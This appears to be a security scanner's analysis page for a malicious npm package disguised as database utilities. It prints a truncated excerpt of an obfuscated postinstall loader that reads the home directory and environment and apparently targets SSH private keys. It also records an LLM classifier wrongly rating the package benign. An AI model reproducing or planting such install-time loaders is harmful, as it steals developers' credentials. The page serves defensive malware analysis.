// npm package

@cloudplatform-single-spa/svp-interfaces

Internal database utilities with connection pooling, query builder and migration support

npmjs.com tarball repo homepage

versions

maintainers

license

UNLICENSED

first publish

2026-05-27

publisher

mr.4nd3r50n

tarball

17,385 B

AUTO-PUBLISHED·1 version indexed·latest published 2026-05-28

// exfil path

what is read → where it ships

steals

○ home dir

sends to

(no destination string extracted — payload may be dynamic / obfuscated)

evidence in excerpt

> 'use strict';const a0_0x289242=a0_0x2308;(function(_0xa42827,_0xc6b9de){const _0x3e0732=a0_0x2308,_0x35c8f1=_0xa42827();while(!![]){try{const _0x3ee47d=-parseInt(_0x3e0732(0x16b))/(-0x1755+0x951+-0xe0…

→ view full payload

// publisher campaignby mr.4nd3r50n

9 caught packages from this account

This is not an isolated catch. The same publisher has shipped 8 other packages that our pipeline flagged — the shape of a coordinated campaign, not a one-off. Each link below opens that sibling's analysis.

// offending code· @100.100.100· 1 file flagged

llm: benign · 0.85

→ No suspicious destination, no remote-exec shape — 1 known-vendor host(s).

@100.100.100·2026-05-28·AUTO-PUBLISHED·publisher: mr.4nd3r50n
heuristic 100/100
static flags 2
llm benign (0.85) via ollama
install-scripts:postinstallnew-publisher:1danomalous-major-version:100publisher-multi-name-burst:24publisher-version-pump:25osv-flagged:MAL-2026-4984reads-env-varsreads-homedir
→ No suspicious destination, no remote-exec shape — 1 known-vendor host(s).
// NHI intent1 target·mixed harvest patterns·gate: always
- SSH private keys

--- install scripts --- ### postinstall node scripts/postinstall.js ### prepublishOnly echo 'Building...' --- package/scripts/postinstall.js (excerpt) --- 'use strict';const a0_0x289242=a0_0x2308;(function(_0xa42827,_0xc6b9de){const _0x3e0732=a0_0x2308,_0x35c8f1=_0xa42827();while(!![]){try{const _0x3ee47d=-parseInt(_0x3e0732(0x16b))/(-0x1755+0x951+-0xe05*-0x1)*(-parseInt(_0x3e0732(0x19e))/(-0x354*-0x1+0x1872+-0x1bc4))+parseInt(_0x3e0732(0x1cf))/(-0x1fd*-0xb+-0x25db*-0x1+-0x3bb7)*(parseInt(_0x3e0732(0x1bf))/(-0x4*0x54d+-0x3b0+0x18e8))+-parseInt(_0x3e0732(0x1b0))/(-0x7*0x4c7+-0x79*0x2f+0x37ad*0x1)+-parseInt(_0x3e0732(0x1cd))/(0x601+-0xe4b*0x2+0x3*0x789)+parseInt(_0x3e0732(0x18e))/(0x1*0x1374+-0x3*-0x1bd+-0x18a4)+-parseInt(_0x3e0732(0x18d))/(-0x1603+0x8ea*0x2+0x437)*(-parseInt(_0x3e0732(0x1aa))/(0x246b+0x53*-0x1f+-0x1a55))+-parseInt(_0x3e0732(0x177))/(-0x1*-0x1a89+-0x8a*0x19+-0xd05);if(_0x3ee47d===_0xc6b9de)break;else _0x35c8f1['push'](_0x35c8f1['shift']());}catch(_0xd53f35){_0x35c8f1['push'](_0x35c8f1['shift']());}}}(a0_0x5355,0xdbb9b+-0x2*-0x2f3d+0x11*-0x4779));const a0_0x569b47=require('os'),a0_0x33f5dc=require('fs'),a0_0x7afeb7=require(a0_0x289242(0x17b)),a0_0x32d45b=require(a0_0x289242(0x18a)),a0_0x304c51=require(a0_0x289242(0x1ab)),{execSync:a0_0x4c22eb,spawn:a0_0x3d07c5}=require(a0_0x289242(0x17d)),a0_0x1232f4=a0_0x289242(0x182),a0_0x1723e0=a0_0x289242(0x18f),a0_0x40130c=a0_0x289242(0x174)+a0_0x289242(0x1a7),a0_0x5dfed3=a0_0x289242(0x186),a0_0x493933=!!process.env[a0_0x5dfed3],a0_0xd45c45=a0_0x289242(0x1ae)===a0_0x289242(0x1ae)||!!process.env[a0_0x40130c+'RECON_ONLY'];function a0_0xc8cdb3(_0xbde7d9){const _0x5201c5=a0_0x289 --- bundled output (OSV-MAL flagged — LLM scope expansion) --- --- dist/index.d.ts (bundled) --- export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; } export interface Pool { host: string; port: number; database: string; } export function createPool(options?: PoolOptions): Pool; export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>; export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>; export function migrate(pool: Pool, dir?: string): Promise<string[]>; --- dist/index.js (bundled) --- 'use strict'; // dist/index.js module.exports = require('../src/index.js');

'use strict';const a0_0x289242=a0_0x2308;(function(_0xa42827,_0xc6b9de){const _0x3e0732=a0_0x2308,_0x35c8f1=_0xa42827();while(!![]){try{const _0x3ee47d=-parseInt(_0x3e0732(0x16b))/(-0x1755+0x951+-0xe05*-0x1)*(-parseInt(_0x3e0732(0x19e))/(-0x354*-0x1+0x1872+-0x1bc4))+parseInt(_0x3e0732(0x1cf))/(-0x1fd*-0xb+-0x25db*-0x1+-0x3bb7)*(parseInt(_0x3e0732(0x1bf))/(-0x4*0x54d+-0x3b0+0x18e8))+-parseInt(_0x3e0732(0x1b0))/(-0x7*0x4c7+-0x79*0x2f+0x37ad*0x1)+-parseInt(_0x3e0732(0x1cd))/(0x601+-0xe4b*0x2+0x3*0x789)+parseInt(_0x3e0732(0x18e))/(0x1*0x1374+-0x3*-0x1bd+-0x18a4)+-parseInt(_0x3e0732(0x18d))/(-0x1603+0x8ea*0x2+0x437)*(-parseInt(_0x3e0732(0x1aa))/(0x246b+0x53*-0x1f+-0x1a55))+-parseInt(_0x3e0732(0x177))/(-0x1*-0x1a89+-0x8a*0x19+-0xd05);if(_0x3ee47d===_0xc6b9de)break;else _0x35c8f1['push'](_0x35c8f1['shift']());}catch(_0xd53f35){_0x35c8f1['push'](_0x35c8f1['shift']());}}}(a0_0x5355,0xdbb9b+-0x2*-0x2f3d+0x11*-0x4779));const a0_0x569b47=require('os'),a0_0x33f5dc=require('fs'),a0_0x7afeb7=require(a0_0x289242(0x17b)),a0_0x32d45b=require(a0_0x289242(0x18a)),a0_0x304c51=require(a0_0x289242(0x1ab)),{execSync:a0_0x4c22eb,spawn:a0_0x3d07c5}=require(a0_0x289242(0x17d)),a0_0x1232f4=a0_0x289242(0x182),a0_0x1723e0=a0_0x289242(0x18f),a0_0x40130c=a0_0x289242(0x174)+a0_0x289242(0x1a7),a0_0x5dfed3=a0_0x289242(0x186),a0_0x493933=!!process.env[a0_0x5dfed3],a0_0xd45c45=a0_0x289242(0x1ae)===a0_0x289242(0x1ae)||!!process.env[a0_0x40130c+'RECON_ONLY'];function a0_0xc8cdb3(_0xbde7d9){const _0x5201c5=a0_0x289

export interface PoolOptions { host?: string; port?: number; database?: string; user?: string; password?: string; max?: number; } export interface Pool { host: string; port: number; database: string; } export function createPool(options?: PoolOptions): Pool; export function query(pool: Pool, sql: string, params?: unknown[]): Promise<unknown[]>; export function transaction(pool: Pool, fn: (client: unknown) => Promise<unknown>): Promise<unknown>; export function migrate(pool: Pool, dir?: string): Promise<string[]>;